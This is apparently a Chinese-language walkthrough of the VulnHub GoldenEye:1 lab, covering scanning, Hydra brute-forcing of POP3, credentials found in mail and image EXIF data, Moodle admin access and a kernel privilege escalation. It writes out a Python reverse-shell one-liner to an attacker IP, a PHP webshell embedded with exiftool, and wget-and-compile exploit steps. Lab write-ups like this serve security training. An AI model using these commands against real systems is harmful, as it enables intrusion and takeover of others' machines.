Tiancat
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
基本信息
靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/靶机发布日期:2018年5月4日 靶机描述:靶机命名来自詹士邦系列的电影——GoldenEye 目标:得到root权限&找到flag.txt 作者:tiancat 时间:2021.10.22
参考博客:https://blog.csdn.net/qq_34801745/article/details/103724325?spm=1001.2014.3001.5502(感谢大余)
环境搭建
靶机本来是仅主机模式,改为nat模式,更方便一些
Nmap&目录扫描
网段为192.168.85.0,具体ip得先用nmap扫描一下(因为事先是不知道dhcp分配的ip地址)
nat模式下,kali和靶机,知道了网段,那么开始就使用nmap扫描一下85网段,
nmap -sV -sP 192.168.85.0/24
-sV服务版本,-sP发现扫描网络存活主机
nmap -sS -sV -T5 -A -p- 192.168.85.129
-sS隐蔽扫描(半开syn),-sV服务版本,-T 时间优化(0-5)等级,数字越大力度越强,-A 综合扫描,-p-全端口(1-65535)
发现http服务端口为80,http://192.168.85.129/
python dirsearch.py -u http://192.168.85.129/ -e *
用dirsearch.py扫描目录,-e * 扫描所有类型的脚本语言
(因为是自己后阶段复盘做的,所以ip地址变成了128,无伤大雅)
只有一个/index.html ,其他大部分是4XX,没太大用处。加深自己对4XX类型响应状态码印象
400 Bad Request(错误请求)
服务器拿到请求内容时发现请求的内容有问题,没法给你做出相对结果,就需要返回状态码400告诉客户端,你的请求内容有问题
401 Unauthorized (未验证)
当客户端请求服务器资源时,但是服务器说了:‘你要是想得到这资源的话,需要你的身份认证,请你按照我的提出的认证方法
403 Forbidden 拒绝的访问
404 Not Found 没有发现资源
dirmap是一个高级web目录扫描工具,功能将会强于DirBuster、Dirsearch、cansina、御剑。(不死心继续扫目录)
python dirmap.py -i http://192.168.85.128/ -lcf
/terminal.js 和 /index.css , js源码文件可以去看看
查看.js源码--敏感信息泄露
后来看了一下其他人教程,原来主站F12就可以看到 /terminal.js 文件了。
主站提示了一个登录的路径/sev-home/
查看这个文件,从这些注释当中得知,很多人名,或许是用户名,然后翻译一下
//Boris,确保更新默认密码。
//我的消息来源说军情六处可能计划渗透。
//留意任何可疑的网络流量。。。。
//我给你编码p@ssword在下面
//InvincibleHack3r
//顺便说一句Natalya说她能破解你的密码
关键信息:人名:Boris、Natalya
经过编码的password:InvincibleHack3r
解码了密码:InvincibleHack3r,由于上面已经找到了有效的用户名,尝试下使用用户名密码登陆
从主站提示的登录的路径访问/sev-home/
用户名:Boris 密码:InvincibleHack3r //这里被坑了,用户名要小写
还是看看翻译,看能不能得到有效信息
非常有效,构成我们的pop3服务上运行在一个非常规的端口
检查主页的html内容,从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务。
POP3是Post Office Protocol 3的简称,即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时删除保存在邮件服务器上的邮件,而POP3服务器则是遵循POP3协议的接收邮件服务器,用来接收电子邮件的
由于我们已经在第一步中对目标IP进行了比较完整的Nmap扫描,因此我们已经知道运行POP3服务器的端口:55006、55007,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器上/访问发现是55007端口:
另外,在分析“ terminal.js”的HTML内容时,我们在注释中发现一条注释,指出目标系统或许没用更改之前的默认密码。
hydra破解pop3服务
因此,让我们尝试使用在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:
正如每一项密码安全研究所显示的那样,最大的安全漏洞之一是密码。Hydra是一个并行登录破解程序,支持多种攻击协议。新的模块很容易添加,除此之外,它是灵活和非常快速的。
目前,该工具支持:
AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、HTTP-FORM-GET、HTTP-FORM-POST、HTTP-GET、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-PROXY、ICQ、IMAP、IRC、LDAP、MS-SQL、MYSQL、NCP、NNTP、Oracle侦听器、Oracle SID、Oracle、PC Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、,SIP、SMB、SMTP、SMTP枚举、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware Auth、VNC和XMPP。
对于HTTP、POP3、IMAP和SMTP,支持几种登录机制
摘自https://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html
hydra -L huanghong.txt -P /usr/share/wordlists/fasttrack.txt 192.168.85.128 -s 55007 pop3
-L 指定用户名字典 -P 指定密码字典 -s 可通过这个参数指定非默认端口
示例:破解ssh # hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
-t 同时运行的线程数,默认为16 -vV显示详细过程 -e <ns>可选选项,n:空密码试探,s:使用指定用户和密码试探
写一个用户名.txt为huanghong.txt,注意\n 是换行符
我们可以看到暴力攻击已成功,并且该工具已破解了用户“ boris、natalya”的密码。 使用命令:
echo -e ‘natalya\nboris’ > dayu.txt
(创建文本包含两个用户名)hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.182.141 -s 55007 pop3
(以文本内容使用hydra攻击) 用户:boris 密码:secret1! 用户:natalya 密码:bird 我使用Netcat(简称nc)实用程序通过pop3端口并使用用户“ boris、natalya”凭据登录到目标服务器邮箱中。
Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。内建有很多实用的工具
参考链接:https://www.jianshu.com/p/14fc8540440a
pop3登录指令学习
三封邮件的主要内容翻译
1:鲍里斯,我是管理员。你可以通过电子方式与这里的同事和学生交流。我不会扫描电子邮件的安全风险,因为我信任你和其他管理员
2:鲍里斯,我能破解你的密码!
3:鲍里斯,你与我们辛迪加的合作将获得巨大的回报。附件是GoldenEye的最终访问代码。将它们放在根目录中的隐藏文件中
第二封来自用户“natalya”,称她可以破解鲍里斯的密码。 第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。
现在使用natalya用户登录看看有什么有用的信息… (使用之前破解出来的账户密码登录)
主要内容:
1:娜塔莉亚,拜托你不要再破坏鲍里斯的密码了。此外,您还是GNO培训主管。一旦有学生指定给你,我会给你发电子邮件。此外,要小心可能的网络漏洞。我们有情报说GoldenEye正被一个叫Janus的犯罪集团追捕。
2:好的,娜塔琳,我有一个新学生给你。由于这是一个新系统,如果您看到任何配置问题,请让我或boris知道,尤其是与安全相关的问题…即使不是,也只需以“安全”的名义输入它…它将升级变更单,而不会带来太多麻烦:)
好的,用户信誉是:
用户名:xenia
密码:RCP90rulez!
Boris确认她是一个有效的承包商,所以只需创建帐户,好吗?如果您在outr内部域上没有URL:severnaya-station.com/gnocertdir **请确保编辑您的主机文件,因为您通常在远程网络之外工作。。。。 由于您是Linux用户,只需将此服务器IP指向/etc/hosts中的severnaya-station.com即可。
在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,要求我们在本地服务hosts中添加域名信息: 用户名:xenia 密码:RCP90rulez! 域:severnaya-station.com 网址:severnaya-station.com/gnocertdir 我们现根据邮件提示添加本地域名:severnaya-station.com
在上面的屏幕截图中,我们可以看到URL已成功添加到目标计算机上。因此,让我们在浏览器中打开此URL。
终于在目标计算机上运行了Web应用程序,多亏了我们看到的上一封电子邮件。 刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用刚刚在邮件获得的用户密码进行登陆。 用户名:xenia 密码:RCP90rulez!
登录(翻译页面了,不然看不懂)
再扫描目录试试
现在域名ip绑定了,是不是又可以再次进行目录扫描,能不能发现更多有用信息呢。直接dirmap扫
python dirmap.py -i http://severnaya-station.com/gnocertdir -lcf
http://severnaya-station.com/gnocertdir/tags
http://severnaya-station.com/gnocertdir/README.txt
http://severnaya-station.com/gnocertdir/login/
http://severnaya-station.com/gnocertdir/auth/
http://severnaya-station.com/gnocertdir/config.php
http://severnaya-station.com/gnocertdir/index.php
http://severnaya-station.com/gnocertdir/index.php/login/
找到有效的有三处,一个登录点和下图两个,图一翻译过了,就是靶机作者是搭建moodle的源码,这是一个开源的CMS系统
目录扫描暂时看不到作用
接下来翻一下站点消息,发给doak的消息
内容发现用户名doak,继续使用hydra攻击,用户名:doak 密码:goat hydra已成功破解了用户doak的密码,使用账号密码继续登陆pop3邮件。
username: dr_doak password: 4England!
詹姆斯,如果你正在读这篇文章,恭喜你走了这么远。你知道tradecraft是怎么运作的吗?因为我没有。进入我们的培训网站并登录到我的帐户…挖掘直到你可以过滤更多信息
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。使用新的账户密码登录CMS。
进来后进入my home,看到右边,发现了一个s3cret.txt文件。另外发现这是Moodle使用的2.2.3版本
007,我能够通过clear txt捕获此应用程序adm1n cr3ds。GoldenEye服务器中的大多数web应用程序中的文本都经过扫描,因此我无法在此处添加cr3dentials。这里有一些有趣的东西:/dir007key/for-007.jpg 正如你可能知道的,RCP-90比任何其他武器都要优越得多,杀戮许可证是唯一的游戏方式。
访问提示的这个路径/dir007key/for-007.jpg
现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。可以使用浏览器下载,也可以使用命令:wget http://severnaya-station.com/dir007key/for-007.jpg下载到本地。 根据邮件提示让我们检查图片内容,下载图片后,我们可以使用binwalk(路由逆向分析工具)、exiftool(图虫)、strings(识别动态库版本指令)等查看jpg文件底层内容。
kali没有安装exiftool,只能下载一个了
什么是EXIF
可交换图像文件格式常被简称为Exif(Exchangeable image file format),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。Exif 可以被附加在 JPEG、TIFF、RIFF 等文件之中,为其增加有关数码相机拍摄信息的内容和缩略图或图像处理软件的一些版本信息
安装 apt-get install exiftool
为一个图片生成图片码,图片码为我们的木马
exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"
eFdpbnRlcjE5OTV4IQ==
strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用
在对象文件或二进制文件中查找可打印的字符串
使用binwalk没能查出有用信息,用exiftool和strings解析得到Image Description : eFdpbnRlcjE5OTV4IQ== 显示的是base-64编码的字符串(两个等号表示它是base-64编码的字符串)。基数为64的编码字符串如下所示:
eFdpbnRlcjE5OTV4IQ==
在线网站可以直接解密了,我用的是火狐的hackbar,也比较方便
xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
这里我不是很理解解密的一个密码怎么能猜到admin用户的,经验吧可能是,这里也可以是另一种思路,已知密码猜测用户名,那么直接可以拿用户名本子进行爆破。
用户名:admin 密码:xWinter1995x!
burp、xray联动进行被动扫描
按照自己的渗透习惯,过分依赖工具,不过效率也许会高一丢丢
xray_windows_amd64_old_1.7.1.exe webscan --listen 127.0.0.1:1664 --html-output bachang123.html
xray监听1664端口
把所有流量过一遍,网站所有流量从burp代理过一遍到xray,然后bp和xray都会有被动扫描,使用playload自动过一遍请求
就发现一个敏感文件泄露,就没了.......(就很无语)
密码明文传输,这玩意误报率贼高,只要是扫到password字段就可能判断为明文传输
版本信息泄露入手
只能从版本信息泄露这里找公开的已知漏洞或开源源码代码审计了
这是Moodle使用的2.2.3版本,直接百度吧
找到编号,CVE-2013-3630
msf失败
msfconsole
设置用户名:admin 设置密码:xWinter1995x! 设置:rhosts severnaya-station.com 设置:targeturi / gnocertdir 设置payload:cmd / unix / reverse 设置:lhost 192.168.1.45
按道理应该能获取www低权限,经过百度谷歌多方面咨询大神,是因为我kali中MSF版本升级太高,会遇到RCE无法渗透问题,这里耽误了很多时间
反弹shell
http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths
http://severnaya-station.com/gnocertdir/blog/edit.php?action=add
由于我们已经使用了管理员admin用户登录页面,可以进行网站管理,在页面中找到了Site administration-Server-System paths 网站管理系统路径,发现可以上传代码。
这里可以用到python代码,进行反弹shell渗透。 使用代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.85.131",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
传递数据
nc开启监听 nc -lnvp 6666
当我运行id命令时,它表明该用户不是root用户,这是www-data的网站权限
提权
uname -a
cat /proc/version
cat /etc/issue
searchsploit linux ubuntu 3.13.0
find / -name "44696.rb"
cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/桌面
复制到桌面。
看看靶机有没有gcc命令,查看了一下好像没有。查看gcc版本gcc--version
靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译
vim ~/桌面/37292.c 将gcc改成cc
本地开启服务。python -m SimpleHTTPServer 8080
使用wget下载37292.c脚本到靶机的tmp目录。
别下载错目录了
用cc编译,赋予可执行权限后,运行exp。
./exp 运行
提权成功
根据挑战的描述,目标是得到root权限&找到flag.txt。
复盘一手
整个靶场我认为难点是打点,信息收集很重要,要查看js源码里面的信息泄露情况,还要爆破pop3服务,如果没有那几个用户名作为关键字估计是不太可能爆破出来,后台页面没有admin用户登录也不能反弹shell,admin密码也不能爆破出来,因为有大小写字母、数字、字符,这几乎不太可能了,如果字典很强当我没说。这里可以使用爆破,密码明文传输
绕的弯路有很多,单说这个扫描,几乎是没什么作用
还有msf为什么拿不到shell?不是很懂
太晚了,复盘到这吧
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)